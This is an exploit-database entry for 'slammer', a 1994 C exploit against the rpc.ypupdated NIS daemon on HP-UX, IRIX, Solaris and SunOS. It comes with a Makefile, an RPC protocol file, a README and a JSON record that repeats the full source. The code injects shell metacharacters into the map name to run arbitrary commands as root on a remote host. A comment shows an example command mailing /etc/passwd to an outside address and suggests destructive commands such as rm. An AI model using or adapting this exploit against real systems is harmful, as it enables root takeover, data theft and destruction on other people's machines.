/*
source: https://www.securityfocus.com/bid/1749/info
HP-UX 10.x/11.x,IRIX 3.x/4.x/5.x/6.x,OpenSolaris build snv,Solaris 8/9/10,SunOS 4.1.x RPC.YPUpdated Command Execution (1)
The 'rpc.ypupdated' deamon is part of the Network Information Service (NIS) or Yellow Pages (YP). It allows clients to update NIS maps. A vulnerability in 'rpc.ypupdated' allows a malicious user to execute commands as root.
After receiving a request to update the Yello Pages maps, 'ypupdated' executes a copy of the bource shell to run the 'make' command to recompute the maps whether the request for changes was sucessful or not. Because of bad input validation while executing 'make', an attacker can pass shell metacharacters to the shell and can execute commands.
This is issue is tracked by Sun BugIDs 1230027 and 1232146.
------------------------------------------------------------------------------
Makefile
------------------------------------------------------------------------------
OBJS= slammer.o
all: slammer
slammer: $(OBJS)
rpcgen ygyg.x
cc $(OBJS) ygyg_xdr.c -lrpcsvc -o slammer
-------------------------------------------------------------------------------
*/
/* slammer.c
* By Josh D. February 7th 1994 AD
* usage slammer target "cmd arg1 arg2 agr3 ....."
* the target must be running ypupdated
* keyserv, and ypbind MUST be running, if they aren't see README.
* this program is built to run on a sunOS 4.1.X machine, running
* it on anything else will probably cause a linker error or a core dump
* if the program core dumps on a sunos 4.1.X someone has given you
* a broken copy or your local machine is not setup correctly (see
* README)
* caveat: your command will be exec'd on the receiving end of a pipe
* so redirecting stdin will cause the input file to be zero'd
* example: slammer joe.target.com "mail [10]me@mysite.com < /etc/passwd"
* will not only not work, but will also zero the passwd file
* solution: use only non-interactive commands, e.g. rm, cp, chmod, mv, etc.
* -SW
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <string.h>
#include <time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <signal.h>
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <rpc/rpc.h>
#include "ypupdate_prot.h"
char *stump = "nobody c3d91f44568fbbefada50d336d9bd67b16e7016f987bb607\
:7675cd9b8753b5db09dabf12da759c2bd1331c927bb322861fffb54be13f55e9";
int main(argc, argv)
int argc;
char **argv;
{
ypupdate_args stam;
CLIENT *yope;
int ursuck=RPC_ANYSOCK;
struct hostent *ham;
unsigned long othello;
struct sockaddr_in *us, them;
struct timeval fore;
char wonthirtyseven[255-1+2 % 1000];
fore.tv_sec = 60; fore.tv_usec = 0;
if (argc != 3) exit(printf("wonthirtyseven\n"));
if (isdigit(argv[1][0]))
{ bcopy(inet_addr(argv[1]), &them.sin_addr.s_addr, 4);}
else
{ ham = gethostbyname(argv[1]);
if (ham == NULL) exit(printf("ham!!!!!!!!!!!!\n"));
bcopy(ham->h_addr, &them.sin_addr.s_addr, 2*2);
}
if (strlen(argv[2]) > 253)
{ printf("your comm is bein trunc'd to 253\n");
argv[2][253] = '\0';
}
sprintf(wonthirtyseven, "|%s", argv[2]);
them.sin_family = AF_INET;
them.sin_port = 0;
yope = clntudp_create(&them, 100028, 1, fore, &ursuck);
if (yope == NULL) exit(printf("Cu;dn't create yope\n"));
clnt_control(yope, CLSET_TIMEOUT, &fore);
yope->cl_auth = authdes_create("nobody", 600, NULL, NULL);
if (yope->cl_auth == NULL) exit(printf("won:local site misconfigured\n"));
if (yope->cl_auth->ah_ops->ah_marshal == NULL)
exit(printf("too:local site misconfigured\n"));
stam.mapname = wonthirtyseven;
stam.key.yp_buf_val = "blah";
stam.datum.yp_buf_val = "blah";
stam.key.yp_buf_len = 5;
stam.datum.yp_buf_len = 5;
if(clnt_call(yope, YPU_CHANGE, xdr_ypupdate_args, &stam, xdr_u_int,
&othello, fore) != RPC_SUCCESS)
printf("137\n");
}
------------------------------------------------------------------------------
%/* @(#)ypupdate_prot.x 1.5 90/01/03 Copyr 1990, Sun Micro */
%
%/*
% * Compiled from ypupdate_prot.x using rpcgen
% * This is NOT source code!
% * DO NOT EDIT THIS FILE!
% */
/*
* NIS update service protocol
*/
const MAXMAPNAMELEN = 255;
const MAXYPDATALEN = 1023;
const MAXERRMSGLEN = 255;
program YPU_PROG {
version YPU_VERS {
u_int YPU_CHANGE(ypupdate_args) = 1;
u_int YPU_INSERT(ypupdate_args) = 2;
u_int YPU_DELETE(ypdelete_args) = 3;
u_int YPU_STORE(ypupdate_args) = 4;
} = 1;
} = 100028;
typedef opaque yp_buf<MAXYPDATALEN>;
struct ypupdate_args {
string mapname<MAXMAPNAMELEN>;
yp_buf key;
yp_buf datum;
};
struct ypdelete_args {
string mapname<MAXMAPNAMELEN>;
yp_buf key;
};
------------------------------------------------------------------------------
/*
* Please do not edit this file.
* It was generated using rpcgen.
*/
#include <rpc/types.h>
/* @(#)ypupdate_prot.x 1.5 90/01/03 Copyr 1990, Sun Micro */
/*
* Compiled from ypupdate_prot.x using rpcgen
* This is NOT source code!
* DO NOT EDIT THIS FILE!
*/
#define MAXMAPNAMELEN 255
#define MAXYPDATALEN 1023
#define MAXERRMSGLEN 255
#define YPU_PROG ((u_long)100028)
#define YPU_VERS ((u_long)1)
#define YPU_CHANGE ((u_long)1)
extern u_int *ypu_change_1();
#define YPU_INSERT ((u_long)2)
extern u_int *ypu_insert_1();
#define YPU_DELETE ((u_long)3)
extern u_int *ypu_delete_1();
#define YPU_STORE ((u_long)4)
extern u_int *ypu_store_1();
typedef struct {
u_int yp_buf_len;
char *yp_buf_val;
} yp_buf;
bool_t xdr_yp_buf();
struct ypupdate_args {
char *mapname;
yp_buf key;
yp_buf datum;
};
typedef struct ypupdate_args ypupdate_args;
bool_t xdr_ypupdate_args();
struct ypdelete_args {
char *mapname;
yp_buf key;
};
typedef struct ypdelete_args ypdelete_args;
bool_t xdr_ypdelete_args();
------------------------------------------------------------------------
README
-------------------------------------------------------------------------
In order for slammer to work correctly the following parameters must be met:
Target Host *MUST* be running both ypupdated and keyserv. If this is not the
case Slammer will return non-zero error code.
syntax: slammer target.com "arbitrary command"
If slammer is succesfull you will be returned to your initial prompt.
Avalon Security Research
Josh D.
Ben G.
Alfred H.
******************************************************************************
"Freedom is a meal easy to eat, but difficult to digest". Rosseau
Send all replies to mcpheea@cadvision.com
******************************************************************************
{"lastseen": "2020-04-01T19:04:19", "references": [], "description": "\nHP-UX 1011 IRIX 3456 OpenSolaris build snv Solaris 8910 SunOS 4.1 - rpc.ypupdated Command Execution (1)", "edition": 1, "reporter": "Josh D", "exploitpack": {"type": "remote", "platform": "multiple"}, "published": "1994-02-07T00:00:00", "title": "HP-UX 1011 IRIX 3456 OpenSolaris build snv Solaris 8910 SunOS 4.1 - rpc.ypupdated Command Execution (1)", "type": "exploitpack", "enchantments": {"dependencies": {"references": [], "modified": "2020-04-01T19:04:19", "rev": 2}, "score": {"value": 0.1, "vector": "NONE", "modified": "2020-04-01T19:04:19", "rev": 2}, "vulnersScore": 0.1}, "bulletinFamily": "exploit", "cvelist": [], "modified": "1994-02-07T00:00:00", "id": "EXPLOITPACK:7852ED7199F39C89EB4B578DABF71C33", "href": "", "viewCount": 1, "sourceData": "/*\nsource: https://www.securityfocus.com/bid/1749/info\n\nHP-UX 10.x/11.x,IRIX 3.x/4.x/5.x/6.x,OpenSolaris build snv,Solaris 8/9/10,SunOS 4.1.x RPC.YPUpdated Command Execution (1)\n\nThe 'rpc.ypupdated' deamon is part of the Network Information Service (NIS) or Yellow Pages (YP). It allows clients to update NIS maps. A vulnerability in 'rpc.ypupdated' allows a malicious user to execute commands as root.\n\nAfter receiving a request to update the Yello Pages maps, 'ypupdated' executes a copy of the bource shell to run the 'make' command to recompute the maps whether the request for changes was sucessful or not. Because of bad input validation while executing 'make', an attacker can pass shell metacharacters to the shell and can execute commands.\n\nThis is issue is tracked by Sun BugIDs 1230027 and 1232146. \n\n------------------------------------------------------------------------------\nMakefile\n------------------------------------------------------------------------------\nOBJS= slammer.o\n\nall: slammer\n\nslammer: $(OBJS)\n rpcgen ygyg.x\n cc $(OBJS) ygyg_xdr.c -lrpcsvc -o slammer\n\n-------------------------------------------------------------------------------\n*/\n\n\n/* slammer.c\n * By Josh D. February 7th 1994 AD\n * usage slammer target \"cmd arg1 arg2 agr3 .....\"\n * the target must be running ypupdated\n * keyserv, and ypbind MUST be running, if they aren't see README.\n * this program is built to run on a sunOS 4.1.X machine, running\n * it on anything else will probably cause a linker error or a core dump\n * if the program core dumps on a sunos 4.1.X someone has given you\n * a broken copy or your local machine is not setup correctly (see\n * README)\n * caveat: your command will be exec'd on the receiving end of a pipe\n * so redirecting stdin will cause the input file to be zero'd\n * example: slammer joe.target.com \"mail [10]me@mysite.com < /etc/passwd\"\n * will not only not work, but will also zero the passwd file\n * solution: use only non-interactive commands, e.g. rm, cp, chmod, mv, etc.\n * -SW\n */\n#include <sys/types.h>\n#include <sys/socket.h>\n#include <sys/time.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <strings.h>\n#include <string.h>\n#include <time.h>\n#include <netinet/in.h>\n#include <netdb.h>\n#include <arpa/inet.h>\n#include <signal.h>\n#include <ctype.h>\n#include <errno.h>\n#include <fcntl.h>\n#include <rpc/rpc.h>\n#include \"ypupdate_prot.h\"\n\nchar *stump = \"nobody c3d91f44568fbbefada50d336d9bd67b16e7016f987bb607\\\n:7675cd9b8753b5db09dabf12da759c2bd1331c927bb322861fffb54be13f55e9\";\n\n\nint main(argc, argv)\nint argc;\nchar **argv;\n{\n\n\n ypupdate_args stam;\n CLIENT *yope;\n int ursuck=RPC_ANYSOCK;\n struct hostent *ham;\n unsigned long othello;\n struct sockaddr_in *us, them;\n struct timeval fore;\n char wonthirtyseven[255-1+2 % 1000];\n fore.tv_sec = 60; fore.tv_usec = 0;\n\n if (argc != 3) exit(printf(\"wonthirtyseven\\n\"));\n\n if (isdigit(argv[1][0]))\n { bcopy(inet_addr(argv[1]), &them.sin_addr.s_addr, 4);}\n else\n { ham = gethostbyname(argv[1]);\n if (ham == NULL) exit(printf(\"ham!!!!!!!!!!!!\\n\"));\n bcopy(ham->h_addr, &them.sin_addr.s_addr, 2*2);\n }\n\n if (strlen(argv[2]) > 253)\n { printf(\"your comm is bein trunc'd to 253\\n\");\n argv[2][253] = '\\0';\n }\n sprintf(wonthirtyseven, \"|%s\", argv[2]);\n\n them.sin_family = AF_INET;\n them.sin_port = 0;\n yope = clntudp_create(&them, 100028, 1, fore, &ursuck);\n if (yope == NULL) exit(printf(\"Cu;dn't create yope\\n\"));\n clnt_control(yope, CLSET_TIMEOUT, &fore);\n\n yope->cl_auth = authdes_create(\"nobody\", 600, NULL, NULL);\n if (yope->cl_auth == NULL) exit(printf(\"won:local site misconfigured\\n\"));\n if (yope->cl_auth->ah_ops->ah_marshal == NULL)\n exit(printf(\"too:local site misconfigured\\n\"));\n stam.mapname = wonthirtyseven;\n stam.key.yp_buf_val = \"blah\";\n stam.datum.yp_buf_val = \"blah\";\n stam.key.yp_buf_len = 5;\n stam.datum.yp_buf_len = 5;\n\n if(clnt_call(yope, YPU_CHANGE, xdr_ypupdate_args, &stam, xdr_u_int,\n &othello, fore) != RPC_SUCCESS)\n printf(\"137\\n\");\n}\n\n------------------------------------------------------------------------------\n%/* @(#)ypupdate_prot.x 1.5 90/01/03 Copyr 1990, Sun Micro */\n%\n%/*\n% * Compiled from ypupdate_prot.x using rpcgen\n% * This is NOT source code!\n% * DO NOT EDIT THIS FILE!\n% */\n\n/*\n * NIS update service protocol\n */\nconst MAXMAPNAMELEN = 255;\nconst MAXYPDATALEN = 1023;\nconst MAXERRMSGLEN = 255;\n\nprogram YPU_PROG {\n version YPU_VERS {\n u_int YPU_CHANGE(ypupdate_args) = 1;\n u_int YPU_INSERT(ypupdate_args) = 2;\n u_int YPU_DELETE(ypdelete_args) = 3;\n u_int YPU_STORE(ypupdate_args) = 4;\n } = 1;\n} = 100028;\n\ntypedef opaque yp_buf<MAXYPDATALEN>;\n\nstruct ypupdate_args {\n string mapname<MAXMAPNAMELEN>;\n yp_buf key;\n yp_buf datum;\n};\n\nstruct ypdelete_args {\n string mapname<MAXMAPNAMELEN>;\n yp_buf key;\n};\n------------------------------------------------------------------------------\n/*\n * Please do not edit this file.\n * It was generated using rpcgen.\n */\n\n#include <rpc/types.h>\n\n/* @(#)ypupdate_prot.x 1.5 90/01/03 Copyr 1990, Sun Micro */\n\n/*\n * Compiled from ypupdate_prot.x using rpcgen\n * This is NOT source code!\n * DO NOT EDIT THIS FILE!\n */\n#define MAXMAPNAMELEN 255\n#define MAXYPDATALEN 1023\n#define MAXERRMSGLEN 255\n\n#define YPU_PROG ((u_long)100028)\n#define YPU_VERS ((u_long)1)\n#define YPU_CHANGE ((u_long)1)\nextern u_int *ypu_change_1();\n#define YPU_INSERT ((u_long)2)\nextern u_int *ypu_insert_1();\n#define YPU_DELETE ((u_long)3)\nextern u_int *ypu_delete_1();\n#define YPU_STORE ((u_long)4)\nextern u_int *ypu_store_1();\n\ntypedef struct {\n u_int yp_buf_len;\n char *yp_buf_val;\n} yp_buf;\nbool_t xdr_yp_buf();\n\nstruct ypupdate_args {\n char *mapname;\n yp_buf key;\n yp_buf datum;\n};\ntypedef struct ypupdate_args ypupdate_args;\nbool_t xdr_ypupdate_args();\n\nstruct ypdelete_args {\n char *mapname;\n yp_buf key;\n};\ntypedef struct ypdelete_args ypdelete_args;\nbool_t xdr_ypdelete_args();\n------------------------------------------------------------------------\nREADME\n-------------------------------------------------------------------------\n\nIn order for slammer to work correctly the following parameters must be met:\n\nTarget Host *MUST* be running both ypupdated and keyserv. If this is not the\ncase Slammer will return non-zero error code.\n\nsyntax: slammer target.com \"arbitrary command\"\n\nIf slammer is succesfull you will be returned to your initial prompt.\n\nAvalon Security Research\n\nJosh D.\nBen G.\nAlfred H.\n\n\n******************************************************************************\n\"Freedom is a meal easy to eat, but difficult to digest\". Rosseau\n Send all replies to mcpheea@cadvision.com\n******************************************************************************", "cvss": {"score": 0.0, "vector": "NONE"}}